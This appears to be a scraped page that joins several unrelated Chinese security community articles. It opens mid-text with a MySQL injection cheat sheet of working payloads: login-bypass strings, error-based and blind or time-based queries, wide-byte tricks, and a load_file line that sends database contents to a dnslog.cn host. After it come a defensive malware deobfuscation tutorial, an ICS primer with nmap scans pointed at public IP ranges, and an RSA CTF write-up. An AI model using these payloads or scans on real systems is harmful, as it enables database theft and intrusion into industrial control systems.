**and 1=1 and 1=2 被拦截的可能性太高了，可以尝试 and -1=-1 and -1=-2 and 1 >0 or 1=1。**
**或者直接 or sleep(5)**
## 常用函数
查看当前数据库版本
* VERSION()
* @@VERSION
* @@GLOBAL.VERSION
查看数据库当前登陆用户
* USER()
* CURRENT_USER()
* SYSTEM_USER()
* SESSION_USER()
当前使用的数据库
* DATABASE()
* SCHEMA()
系统相关
* @@BASEDIR : mysql安装路径：
* @@SLAVE_LOAD_TMPDIR : 临时文件夹路径：
* @@DATADIR : 数据存储路径：
* @@CHARACTER_SETS_DIR : 字符集设置文件路径
* @@LOG_ERROR : 错误日志文件路径：
* @@PID_FILE : pid-file文件路径
* @@BASEDIR : mysql安装路径：
* @@SLAVE_LOAD_TMPDIR : 临时文件夹路径：
* @@version_compile_os:操作系统版本:
注释
* \-- qwe(有一个空格)
* #
## 联合数据
concat()
group_concat()
concat_ws()
### CIBCAT
基本格式
CONCAT(str1,str2)
返回结果为连接参数产生的字符串。如有任何一个参数为 NULL ，则返回值为 NULL。可以有一个或多个参数。
**参数中有 NULL**
mysql> SELECT CONCAT(id,',',NULL,',',password) AS users FROM users LIMIT 1,1;
+-------+
| users |
+-------+
| NULL |
+-------+
1 row in set (0.00 sec)
**使用 LIMIT 来控制结果数量**
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 1;
+-------------+
| users |
+-------------+
| 1,Dumb,Dumb |
+-------------+
1 row in set (0.00 sec)
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 2;
+-----------------------+
| users |
+-----------------------+
| 1,Dumb,Dumb |
| 2,Angelina,I-kill-you |
+-----------------------+
2 rows in set (0.00 sec)
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 0,1;
+-------------+
| users |
+-------------+
| 1,Dumb,Dumb |
+-------------+
1 row in set (0.00 sec)
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 0,2;
+-----------------------+
| users |
+-----------------------+
| 1,Dumb,Dumb |
| 2,Angelina,I-kill-you |
+-----------------------+
2 rows in set (0.00 sec)
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 1,1;
+-----------------------+
| users |
+-----------------------+
| 2,Angelina,I-kill-you |
+-----------------------+
1 row in set (0.00 sec)
### CONCAT_WS
`CONCAT_WS()` 代表 `CONCAT With Separator`
，是`CONCAT()`的特殊形式。第一个参数是其它参数的分隔符。这样参数多的话就不用手动的去添加分隔符了。
基本格式
CONCAT_WS(separator,str1,str2,…)
Separator 为字符之间的分隔符
mysql> SELECT CONCAT_WS('~',id,username,password) AS users FROM users LIMIT 0,2;
+-----------------------+
| users |
+-----------------------+
| 1~Dumb~Dumb |
| 2~Angelina~I-kill-you |
+-----------------------+
2 rows in set (0.00 sec)
### GROUP_CONCAT
基本格式
GROUP_CONCAT(str1,str2,…)
mysql> SELECT GROUP_CONCAT(id,username,password) AS users FROM users;
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| users | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4
| +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
# 显错注入
Mysql在5.0以上版本加入了 information_schema 这个系统自带库
其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权限等
* **information_schema.tables 存放表名和库名的对应**
* **information_schema.columns 存放字段名和表名的对应**
注: **information_schema.tables 实际上是选中information_schema库中的tables表**
## 基本流程
### 判断字段数目
ORDER BY 10
ORDER BY 5
ORDER BY 2
....
### 判断显示位
union select 1,2,3,4,5,6,7……
### 查看当前数据库
union select 1,2,database()
### 查表名
union select 1,2,table_name from information_schema.tables where
table_schema=database()
### 查列名
union select 1,2,column_name from information_schema.columns where
table_name='表名' and table_schema=database()
### 查询字段值
union select 1,字段名,字段名 from 表名
# POST注入
POST注入就是使用POST进行传参的注入，本质上和GET类型的没什么区别
POST注入高危点
* 登录框
* 查询框
* 等各种和数据库有交互的框
## 万能密码
'or 1=1-- qwe
'or 1=1#
admin'-- qwe
admin'#
# 报错注入
## floor()报错
### 原理
floor()报错注入的原因是group
by在向临时表插入数据时，由于rand()多次计算导致插入临时表时主键重复，从而报错，又因为报错前concat()中的SQL语句或函数被执行，所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。
### 报错语句
mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
mysql> select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
### 关键表被禁用了
select count(*) from (select 1 union select null union select !1)x group by concat(database(),floor(rand(0)*2))
## xpath语法报错
**updatexml()** 更新xml文档的函数
语法：updatexml(目标xml内容，xml文档路径，更新的内容)
and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档，但是我们在XML文档路径的位置里面写入了子查询，我们输入特殊字符，然后就因为不符合输入规则然后报错了
但是报错的时候他其实已经执行了那个子查询代码！
[0x7e 实际是是16进制，Mysql支持16进制，但是开头得写0x 0x7e是一个特殊符号，然后不符合路径规则报错] ~ ~
**extractvalue()**
语法: extractvalue(目标xml内容，xpath格式的字符串)
and extractvalue(1,concat(0x7e,(SELECT database()),0x7e))
**updatexml与extractvalue都是基于xpath语法进行报错的,extractvalue也与其类似。**
**一般是配合and或者是or使用的，他和联合查询不同，不需要在意什么字段数。**
## exp报错
### 原理
exp是一个数学函数 取e的x次方，当我们输入的值大于709就会报错
然后取反它的值总会大于709所以报错，适用版本：5.5.5，5.5.49，而mysql能记录的double数值范围有限，一旦结果超过范围，则该函数报错，~符号为运算符，意思为一元字符反转。
### 报错语句
**这里必须使用嵌套，因为不使用嵌套不加select*from 无法大整数溢出**
exp(~(select * from(查询语句)a))
union select exp(~(select * from(select database())a))
## BIGINT溢出错误
### 报错语句
!(select*from(select user())x)-~0
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)
## 几何函数报错
### 报错语句
GeometryCollection：GeometryCollection((select * from (select* from(select user())a)b))
polygon()：polygon((select * from(select * from(select user())a)b))
multipoint()：multipoint((select * from(select * from(select user())a)b))
multilinestring()：multilinestring((select * from(select * from(select user())a)b))
linestring()： LINESTRING((select * from(select * from(select user())a)b))
multipolygon() ：multipolygon((select * from(select * from(select user())a)b))
# 盲注
## 介绍
布尔盲注
* 布尔有明显的True跟Flase，也就是说它会根据你的注入信息返回Ture跟Flase，也就没有了之前的报错信息.
时间盲注
* 页面返回值只有一种Ture，无论输入认识值，返回情况都会按正常来处理.加入特定的时间函数，通过web页面返回的时间差来判断注入语句是否正确。
### 盲注常用函数
* **length()** 函数 返回字符串的长度
* **substr()** 截取字符串 （语法:SUBSTR(str,pos,len);）
* **scii()** 返回字符的ascii码 [将字符变为数字wei]
* **sleep()** 将程序挂起一段时间n为n秒
* **if(expr1,expr2,expr3)** 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
## 注入流程
### 盲注
猜解当前数据库名称长度
and (length(database()))>1
利用ASCII码猜解当前数据库名称
and (ascii(substr(database(),1,1)))=115
--返回正常，说明数据库名称第一位是s
猜表名
and (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)))=101
--返回正常，说明数据库表名的第一个的第一位是e
猜字段名
and (ascii(substr((select column_name from information_schema.columns where
table_name='zkaq' limit 0,1),1,1)))=102
--返回正常，说明zkaq表中的列名称第一位是f
猜内容
and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122
--返回正常，说明zKaQ列第一位是z
### 延时注入
and if(ascii(substr(database(),1,1))>1,0,sleep(5))
**延时盲注其实和布尔盲注其实没有什么太大的区别，只不过是一个依靠页面是否正常判断，一个是否延时判断，在操作上其实也差不多，只不过延时多一个if()**
# 二次注入
## 原理
黑客精心构造 SQL 语句插入到数据库中，数据库报错的信息被其他类型的 SQL
语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性，而是再其他语句调用的时候才会触发攻击行为，这个就是二次注入。
## 案例
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这里直接使用单引号拼接了 username 所以当 username 可控的话 ，这里是存在SQL注入的，假设用户注册的 username
的值为：`admin'#`，那么此时的完整语句就为：sql
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
此时就完全改变了语义，直接就修改掉了 admin 用户的密码。
## 步骤
创建一个`admin'#`开头的用户名:
admin'#1
admin'#233
admin'#gg
...
注册完成后数据库的记录信息如下
mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 20 | admin'#hacker | 111 |
+----+---------------+------------+
成功添加了记录，这里单引号数据库中中看没有被虽然转义了，这是因为转义只不过是暂时的，最后存入到数据库的时候还是没变的。
接下来登录 `admin'#hacker` 用户，然后来修改当前的密码
此时来数据库中查看，可以发现成功修改掉了 admin 用的密码了：
mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 8 | admin | 233 |
| 20 | admin'#hacker | 111 |
+----+---------------+------------+
# 宽字节注入
**宽字节注入原理**
MySQL 在使用 GBK 编码的时候，会认为两个字符为一个汉字，例如 `%aa%5c` 就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠
`\。
宽字节注入就是PHP发送请求到MySql时使用了语句
SET NAMES 'gbk' 或是SET character_set_client =gbk
进行了一次编码，但是又由于一些不经意的字符集转换导致了宽字节注入。
1 %df`吃掉``
具体的原因是 `urlencode(\') = %5c%27`，我们在`%5c%27` 前面添加`%df`，形 成`%df%5c%27`，MySQL 在
GBK 编码方式的时候会将两个字节当做一个汉字，这个时候就把`%df%5c` 当做是一个汉字，`%27`
则作为一个单独的符号在外面，同时也就达到了我们的目的。
2 将 `\'` 中的 `\` 过滤掉
例如可以构造 `%5c%5c%27` 的情况，后面的`%5c`会被前面的`%5c` 给注释掉。这也是 bypass 的一种方法。
## post型
将 utf-8 转换为 utf-16 或 utf-32，例如将 `'` 转为 utf-16 为`�`
我们就 可以利用这个方式进行尝试，可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换：
➜ ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜ ~ echo \'|iconv -f utf-8 -t utf-32
��'
**其他情况**
1. UTF-8是3个字符
2. GBK是2个字符
3. \是1个字符
外面传参一个汉字UTF-8（3个字符）
进了数据库GBK3+1=4 >这是两个汉字
汉') or 1=1-- qwe
**有的时候我们也可以用16进制来代替字符串**
# DNS注入
## dnslog的使用场景
在某些无法直接利用漏洞获得回显的情况下，但是目标可以发起请求，这个时候就可以通过DNS请求把想获得的数据外带出来。
对于sql盲注，常见的方法就是二分法去一个个的猜，但是这样的方法麻烦不说，还很容易因为数据请求频繁导致被ban。
所以可以将select到的数据发给一个url，利用dns解析产生的记录日志来查看数据。
## load_file()
load_file(file_name):读取一个文件并将其内容作为字符串返回
语法
**load_file(file_name)**
其中file_name是文件的完整路径。
条件
1. 文件必须位于服务器主机上
2. 必须指定完整路径的文件
3. 必须要file权限，所有字节可读。
如果文件不存在或者无法读取，因为前面条件之一不满足，函数返回NULL。(这个功能不是默认开启的需要在mysql配置中加一句secure_file_priv=)
## UNC路径
UNC（ **U** niversal **N** aming **C** onvention）通用命名规则，也叫通用命名规范、通用命名约定。
网络（主要指局域网）上资源的完整名称。 它符合\servername\sharename 格式，其中 **servername** 是服务器名，
**sharename** 是共享资源的名称。 目录或文件的 UNC
名称可以包括共享名称下的目录路径，格式\servername\sharename\directory\filename。
unc共享就是指网络硬盘的共享
我们熟悉的命令行访问法访问网上邻居，实际上应该称作UNC路径访问法。
**不过UNC路径也可以这样写//servername/sharename {建议这样写}**
例子
* \\().zkaq.cn\abc => 我们通过SMB服务取请求a.zkaq.cn那台机器下的abc文件夹
## DNS注入原理
语句
and (select load_file(concat('//',(select database()),'.3zgwqy.dnslog.cn/ddd')))
通过子查询，将内容拼接到域名内，让 **load_file()** 去访问共享文件，访问的域名被记录
此时变为显错注入,将盲注变显错注入,读取远程共享文件，通过拼接出函数做查询,拼接到域名中，访问时将访问服务器，记录后查看日志.
# order by注入
**order by 不同于 where 后的注入点，不能使用 union 等进行注入**
### 验证方式
* **升序和降序验证**
# 升序排序
?sort=1 asc
# 降序排序
?sort=1 dasc
* **rand() 验证**
rand(ture) 和 rand(false) 的结果是不一样的
?sort=rand(true)
?sort=rand(false)
* **延时验证**
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
这种方式均可以延时，延时的时间为 (行数*1) 秒
* * * | 社区文章 |
# 恶意代码常用API混淆方法及处理方式
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.摘要
我们在分析恶意代码时经常会遇到，静态分析恶意代码时导入表没有任何导入函数的情况，这种情况通常是恶意代码混淆了API，很多恶意代码尝试混淆它们使用的API来对抗静态分析，API被混淆后静态分析几乎无法得到有效的信息，下面我总结了恶意代码经常用到的混淆API的方法，和处理它们的方法
## 2.恶意代码常用api混淆方法
第一种恶意代码自己创建IAT，自己实现类似于LoadLibrary和GetProcAddress功能的函数，传入的参数也通常是dll名和函数名的hash值，将函数地址存入指针数组，然后通过指针数组调用不同的函数，下面介绍的mailto勒索软件就属于这种
第二种恶意代码计算出真正的函数入口点后，使用jmp指令跳转过去，xshell后门的shellcode用的就是这种方法
第三种将真正的函数入口点加密后存储到全局变量中，调用函数时，将全局变量解密即是函数真正的入口点，下文介绍的xdata勒索软件使用的就是此方法
第四中抹去DOS头，一般恶意代码在shellcode中经常使用，用来对抗内存取证工具或躲避杀软对进程注入pe文件
的检测，下文介绍的ccleaner后门使用的就是这种方法
## 3.解决api混淆的方法
### **3.1 idapython**
以mailto勒索软件为例（MD5:3D6203DF53FCAA16D71ADD5F47BDD060)，首先分析下样本混淆API的方式，样本自己创建IAT，通过用自己实现的函数MwLoadDll来获取dll基址和MwImportApi获取导入函数的地址，MwLoadDll是以dll名的hash值作为参数，MwImportApi是以模块基址和函数名hash值作为参数
MwLoadDll函数是通过FS:[0x30]获取PEB，在通过PEB结构体OxC偏移获取PPEB_LDR_DATA指针，在根据_PEB_LDR_DATA结构体的0x14偏移获取InMemoryOrderModuleList链表，此链表是指向LDR_MODULE结构体的双向链表，在遍历此链表，计算每个模块名的hash值是否与传入的相等，相等则返回模块的基址
MwImportApi函数是通过dll模块的pe结构遍历其导出表，分别计算各个导出函数的hash值是否与传递的hash值相等，相等就返回此函数的地址并将其存入指针数组中
之后样本调用函数都通过这个指针数组
接下来我们开始用idapython来解决样本混淆的API
我们首先需要获取所有MwImportApi函数所传入的hash值和其返回值的偏移量将其一一对应（因为样本的偏移量有几个位置不是有序的，来干扰分析者）
for addr in XrefsTo(idc.get_name_ea_simple("MwImportApi"),0):
if(hex(addr.frm)>hex(0x04013C8)):
argaddr = addr.frm - 9
offsetaddr = addr.frm+14
offsetarg = idc.get_operand_value(offsetaddr,0)
arghash = idc.get_operand_value(argaddr,0)
index = int(offsetarg/4)
apilist[index]=arghash
有了对应的值后，我们用python实现样本所使用的hash算法，mailto根据ida很容易可以识别出此样本使用的是CRC32算法，我们也通过遍历dll的导出表，计算hash值，判断与列表中存储的hash值是否相等，相等就将模块的导出函数名写到列表相应的偏移量上
def HashExportNames(pe_path, apilist, hashfunc):
pe = pefile.PE(pe_path, fast_load=False)
for entry in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if entry.name != None:
strtmp = str(entry.name)
apiname = strtmp[2:len(strtmp)-1]
apihash = hashfunc(apiname)
inthash = int(apihash,16)
if( inthash in apilist ):
listidx = apilist.index(inthash)
apilist[listidx] = apiname
return
最后通过遍历函数名和偏移量对应的列表，自动生成此样本函数指针的结构体头文件，用ida将头文件导入，并将获取指针数组的MwGetApiAddr函数的返回值设置为此结构体指针
f = open(APIh_path, 'w')
f.write("typedef struct MwImportApis{ \n")
for i in apilist:
f.write("\tDWORD* %s;\n"%(i))
f.write('}*PApis ;')
f.close()
或者使用idapython直接创建结构体
sid = idc.add_struct(-1,"MwImportApis",0)
for i in apilist:
idc.add_struct_member(sid,i,-1,FF_DATA|FF_DWORD,0,4)
到这我们就解决了api混淆问题
解混淆后
以上方法处理完后，还是有个不完美的地方，就是无法显示函数参数，为了方便ida静态分析，我们可以使用idapython为结构体中的每个函数设置其函数类型
首先我们通过ida中的结构体名获取结构体，
sid = idaapi.get_struc_id("MwImportApis")
struc = idaapi.get_struc(sid)
之后我们枚举结构体中的所有成员变量
def enum_members(struc):
idx = 0
while idx != -1:
member = struc.get_member(idx)
yield member
idx = idaapi.get_next_member_idx(struc,member.soff)
最后使用ida_typeinf.get_named_type获取函数类型，然后idaapi.parse_decl2解析此类型，在将结构体中的成员类型设置为此类型，之后ida便会识别出函数参数，方便接下来对样本的后续分析
def set_member_type_info(struc,member,decl):
ti = idaapi.tinfo_t()
idaapi.parse_decl2(None,decl,ti,0)
idaapi.set_member_tinfo(struc,member,0,ti,0)
### **3.2模拟执行**
使用ida静态分析时，想要调用恶意代码的某个函数，分析其功能例如字符串解密和api反混淆，模拟执行是很好的选择，常用的插件有flare-emu和qiling，这里以qiling为例处理mailto样本
我们不需要模拟执行整个样本，只需要用qiling模拟执行malito构建iat的函数即可
我们使用qiling hook
MwImportApi函数的返回地址，获取eax的值即函数的返回值，之后我们在qiling的import_symbols中搜索这个地址，返回函数名
from qiling import *
def extract_func_name(ql):
eax = ql.reg.eax
func = ql.loader.import_symbols[eax]
func_name = func["name"].decode("ascii")
print(f"found {func_name} ")
ql = Qiling(["H:/qiling/examples/bin/mailto.bin"], "B:/qiling_rootfs/x86_windows")
ql.hook_address(extract_func_name,0x040121A)
ql.run(begin=0x0401360, end=0x0402512)
然后我们再将函数名跟上文一样与指针数组的偏移一一对应，这里就不演示了
模拟执行很耗费时间，执行有大量加密解密操作的函数时，耗费的时间更长
### **3.3 remotelookup**
Remotelookup是fireeye开发的一个工具，它可以枚举进程所加载全部的DLL，计算API地址，构建查找表，首先我们在虚拟机中使用此工具选择恶意代码进程，勾选Allow
Remote Queries（port 9000）
之后我们在主机中使用python，将api地址发送到虚拟机的remoteLookup.exe中，通过搜索构建的查找表返回函数名，我们在将ida中地址修改为函数名
以xdata勒索软件为例（MD5:A0A7022CAA8BD8761D6722FE3172C0AF)，首先简单介绍下xdata混淆API的原理，xdata将函数地址与密钥异或存储到全局变量中
样本调用函数时用全局变量与密钥异或即可获取函数真正的入口点
下面介绍使用Remotelookup处理xdata混淆API的方法
首先我们使用OD获取全局变量中存储的API入口点加密后的值
将这些值存储到文件中，我们修改remotelookup提供的示例，依次读取这些加密后的值对它们进行异或解密获取真正的函数入口点，然后将函数入口点传到虚拟机中的remotelookup.exe，通过查找构建的查找表返回函数名，我们再将ida全局变量的地址重命名为对应的函数名
if remote.attach(6436):
start=0x04121C0
end=0x41248C
base=0x43C1FBF5
while start < end:
temp = get_encoded_address(start)
real_address = base^temp
addr=str(hex(real_address))
addr=addr[2:10]
if remote.resolve(addr):
result=remote.response
if result.find("Error")==-1 or result.find("Win32Error"):
result=result.replace(' ','')
Name=result.split(',')[1]+'0'
idc.MakeName(start,Name)
else:
print (result)
else:
print( "Failed:" + remote.response)
start+=4
else:
print( 'Failed to attach to pid')
处理前
处理后
### **3.4修复pe头**
ccleaner后门（MD5:ef694b89ad7addb9a16bb6f26f1efaf7)解密后的shellcode是一个抹去dos头的dll文件，直接使用ida分析，ida无法识别其调用的api，我们可以手动或用工具修复pe文件，修复后ida就可以识别出api，也可以使用Volatility内存取证框架，获取shellcode使用的API和地址，然后导出idc脚本自动命名API
修复前
修复后
## 4总结
以上方法足够处理绝大部分恶意代码，有的方法可能使用场景有限，要根据不同的情况，使用不同的方法来处理API混淆 | 社区文章 |
# 工控安全入门分析
|
##### 译文声明
本文是翻译文章，文章来源：drops.wooyun.org
原文地址：<http://drops.wooyun.org/tips/8594>
译文仅供参考，具体内容表达以及含义原文为准。
**0x00写在前面**
工业4.0,物联网趋势化,工控安全实战化。安全从业保持敏感,本篇以科普角度对工控安全做入门分析,大牛绕过,不喜轻喷。
**0x01专业术语**
SCADA:数据采集与监视控制系统
ICS:工业控制系统
DCS:分布式控制系统/集散控制系统
PCS:过程控制系统
ESD:应急停车系统
PLC:可编程序控制器(Programmable Logic Controller)
RTU:远程终端控制系统
IED:智能监测单元
HMI:人机界面(Human Machine Interface)
MIS:管理信息系统(Management Information System)
SIS: 生产过程自动化监控和管理系统(Supervisory Information System)
MES:制造执行管理系统
**0x02协议端口及测试脚本**
**协议科普**
Modbus
MODBUS协议定义了一个与基础通信层无关的简单协议数据单元(PDU)。特定总线或网络上的MODBUS协议映射能够在应用数据单元(ADU)上引入一些附加域。
安全问题:
缺乏认证:仅需要使用一个合法的Modbus地址和合法的功能码即可以建立一个Modbus会话
缺乏授权:没有基于角色的访问控制机制, 任意用户可以执行任意的功能。
缺乏加密:地址和命令明文传输, 可以很容易地捕获和解析
**PROFIBUS**
一种用于工厂自动化车间级监控和现场设备层数据通信与控制的现场总线技术,可实现现场设备层到车间级监控的分散式数字控制和现场通信网络
**DNP3**
DNP(Distributed Network Protocol,分布式网络协议)是一种应用于自动化组件之间的通讯协议,常见于电力、水处理等行业。
简化OSI模型,只包含了物理层,数据层与应用层的体系结构(EPA)。
SCADA可以使用DNP协议与主站、RTU、及IED进行通讯。
**ICCP**
电力控制中心通讯协议。
**OPC**
过程控制的OLE (OLE for Process Control)。
OPC包括一整套接口、属性和方法的标准集,用于过程控制和制造业自动化系统。
**BACnet**
楼宇自动控制网络数据通讯协议(A Data Communication Protocol for Building Automation and
Control Networks)。
BACnet 协议是为计算机控制采暖、制冷、空调HVAC系统和其他建筑物设备系统定义服务和协议
**CIP**
通用工业协议,被deviceNet、ControINet、EtherNet/IP三种网络所采用。
**Siemens S7**
属于第7层的协议,用于西门子设备之间进行交换数据,通过TSAP,可加载MPI,DP,以太网等不同物理结构总线或网络上,PLC一般可以通过封装好的通讯功能块实现。
**其他工控协议**
IEC 60870-5-104、EtherNet/IP、Tridium Niagara Fox、Crimson V3、OMRON
FINS、PCWorx、ProConOs、MELSEC-Q。按需求自行查阅资料。
**信息探测**
协议测试脚本
PS:简要测试,大量脚本自行测试。
相关搜索引擎
Shodan搜索
PS:Shodan搜索引擎介绍 http://drops.wooyun.org/tips/2469
**Zoomeye搜索**
****
PS:敏感信息,你懂得。
Ethernet/IP 44818
nmap -p 44818 --script enip-enumerate.nse 85.132.179.*
Modbus 502
nmap --script modicon-info.nse -Pn -p 502 -sV 91.83.43.*
IEC 61870-5-101/104 2404
nmap -Pn -n -d --script iec-identify.nse --script-args=iec-identify -p 2404 80.34.253.*
Siemens S7 102
nmap -p 102 --script s7-enumerate -sV 140.207.152.*
nmap -d --script mms-identify.nse --script-args='mms-identify.timeout=500' -p 102 IP
Tridium Niagara Fox 1911
nmap -p 1911 --script fox-info 99.55.238.*
意义何在
上述NSE脚本意义:
定位工控系统及协议模块。
收集目标工控的信息,如版本、内网IP、模块、硬件信息等。
结合对应的NSE脚本进一步拓展,例如自定义空间搜素引擎。
脚本资源
Github测试脚本
[https://github.com/atimorin/scada-tools ](https://github.com/atimorin/scada-tools)
[https://github.com/atimorin/PoC2013 ](https://github.com/atimorin/PoC2013)
[https://github.com/drainware/scada-tools
](https://github.com/drainware/scada-tools)
[https://github.com/drainware/nmap-scada](https://github.com/drainware/nmap-scada)
Exploit-db测试脚本
[https://www.exploit-db.com/exploits/19833/ ](https://www.exploit-db.com/exploits/19833/)
[https://www.exploit-db.com/exploits/19832/ ](https://www.exploit-db.com/exploits/19832/)
[https://www.exploit-db.com/exploits/19831/ ](https://www.exploit-db.com/exploits/19831/)
[https://www.exploit-db.com/search/?action=search&description=scada&e_author=](https://www.exploit-db.com/search/?action=search&description=scada&e_author=)
**0x03乌云工控漏洞的分析**
工控相关漏洞分析
针对乌云主站的漏洞进行关键字搜索:工控(31)、SCADA(15)、Modbus(9)、PLC并进一步整合得到如下列表。
在以上的漏洞列表中,可以得出如下结论:
乌云工控漏洞的案例中,绝大多起因是弱口令(弱口令最多的是123456,其次是admin)、注入类漏洞。
能够挖出工控的精华漏洞的人也是特定的那几位,且在Kcon2015也有过演讲。
挖掘此类漏洞主要解决两个问题
如何找到工控相关的系统和地址
Getshell后,基于工控知识如何操控系统
根据漏洞中的细节可以进一步的复测和拓展,进而为工控系统的漏洞挖掘提供非线性思路。
结合GHDB关键字的搜素:例如inurl:SCADA……
链接地址含SCADA、Modbus等协议的关键字……
其他KEY:MIS、SIS、DCS、PLC、ICS、监控系统……
相关公司:南京科远、金风科技、天能集团、国电南瑞、华润燃气、积成电子、重庆三峰、东方电子……
至于利用以上四点去做什么,呵呵…
工控精华漏洞分析
乌云工控相关的精华漏洞如下7个,在思路亮点中分析了漏洞的核心,同样也可能是获得打雷精华的理由。几乎共同点均是操控了对应的工控系统。
**0x04参考资源**
工控专题
ZoomEye工控专题:[ http://ics.zoomeye.org/](http://ics.zoomeye.org/)
Shodan工控专题:<https://www.shodan.io/report/l7VjfVKc>
牛人分享
Z-0ne专注于工控安全攻防技术研究 :<http://plcscan.org/blog/>
网络空间工控设备的发现与入侵:<https://github.com/evilcos/papers>
工控安全攻防演练场景实现分享(轨道交通):<http://zone.wooyun.org/content/14428>
工业网络渗透,直击工控安全的罩门(zph,暂无资料)
工控系统安全威胁与应对探索(Kimon)
Exploit PLC on the
internet(Z-0ne):<https://github.com/knownsec/KCon/tree/master/KCon%202015>
其他参考
Google & baidu
协议安全分析专业公司——科诺康:<http://www.codenomicon.com/cn/>
Modbus通讯协议学习 –
认识篇:<http://www.cnblogs.com/luomingui/archive/2013/06/14/Modbus.html> | 社区文章 |
# Crypto-RSA多等式攻击小结
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近遇到一些RSA题目，里面不乏一些多等式的题目，在这里小结一下
## 多等式之公约数（1）
题目如下
m = xxxxxxxx
e = 65537
========== n c ==========
n = 20474918894051778533305262345601880928088284471121823754049725354072477155873778848055073843345820697886641086842612486541250183965966001591342031562953561793332341641334302847996108417466360688139866505179689516589305636902137210185624650854906780037204412206309949199080005576922775773722438863762117750429327585792093447423980002401200613302943834212820909269713876683465817369158585822294675056978970612202885426436071950214538262921077409076160417436699836138801162621314845608796870206834704116707763169847387223307828908570944984416973019427529790029089766264949078038669523465243837675263858062854739083634207
c = 974463908243330865728978769213595400782053398596897741316275722596415018912929508637393850919224969271766388710025195039896961956062895570062146947736340342927974992616678893372744261954172873490878805483241196345881721164078651156067119957816422768524442025688079462656755605982104174001635345874022133045402344010045961111720151990412034477755851802769069309069018738541854130183692204758761427121279982002993939745343695671900015296790637464880337375511536424796890996526681200633086841036320395847725935744757993013352804650575068136129295591306569213300156333650910795946800820067494143364885842896291126137320
n = 20918819960648891349438263046954902210959146407860980742165930253781318759285692492511475263234242002509419079545644051755251311392635763412553499744506421566074721268822337321637265942226790343839856182100575539845358877493718334237585821263388181126545189723429262149630651289446553402190531135520836104217160268349688525168375213462570213612845898989694324269410202496871688649978370284661017399056903931840656757330859626183773396574056413017367606446540199973155630466239453637232936904063706551160650295031273385619470740593510267285957905801566362502262757750629162937373721291789527659531499435235261620309759
c =
.........
因为太多，我就不给全了，一共20组，每组一个c一个n
这是典型的多模数题目，即用同样的公钥加密同样的消息，只是私钥一直在变换
所以这就是一个简单的RSA共享素数攻击，在生成p和q的时候，难免会有2个n共享1个素数
所以我们用gcd遍历n，相应的脚本如下，即可分解出p和q
# -*- coding:utf-8 -*- import libnum
import gmpy2
import primefac
f = open('rsa.txt','rb')
txt_content = f.readlines()[3:]
n=[]
c=[]
e=65537
for i in txt_content:
if 'n' in i:
n.append(int(i[4:].replace('n','')))
elif 'c' in i:
c.append(int(i[4:].replace('n','')))
for i in range(0,19):
for j in range(i+1,20):
if primefac.gcd(n[i],n[j]) != 1:
now_n = n[i]
now_c = c[i]
p = primefac.gcd(n[i],n[j])
q = now_n/p
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
print libnum.n2s(pow(now_c,d,now_n))
即可得到flag
## 多等式之公约数（2）
题目如下
#! /usr/bin/python2.7
from Crypto.Util.number import size,bytes_to_long,getStrongPrime
from itertools import combinations
msg = bytes_to_long("Your secret flag is : flag{**************************}")
e = 65537
pri = []
f = open('cipherx.txt', 'w')
for i in range(5):
pri.append(getStrongPrime(1024,65537))
for k in combinations(pri, 2):
n = k[0] * k[1]
print k[0],k[1]
f.write(str(pow(msg, e, n)) + 'n')
题目的意思很清楚，即生成5个强素数
然后两两组合，生成10组不同的n
然后分别加密同一个消息，用同一个公钥
于是可以有下面的方程组这样的情况，我们显然需要数学推导
我们单独拿出下面3个式子做推导
可以推导出
其中k1,k2,k3为整数
我们式1，2相减，式2，3相减，得到
我们进行因式分解，可以得到
于是乎，我们可以进行
这样得到的公约数极大可能为p1，若不是，再做后续简单分解即可
而这道题里，公约数即为p1
所以同理，我们利用
同样可以求出p2
即
至此我们分解出了p1和p2
这即为第一组的p和q，利用其即可求出私钥解密得到消息
脚本如下
import primefac
import gmpy2
import libnum
c1 = ......
c2 = ......
c3 = ......
c5 = ......
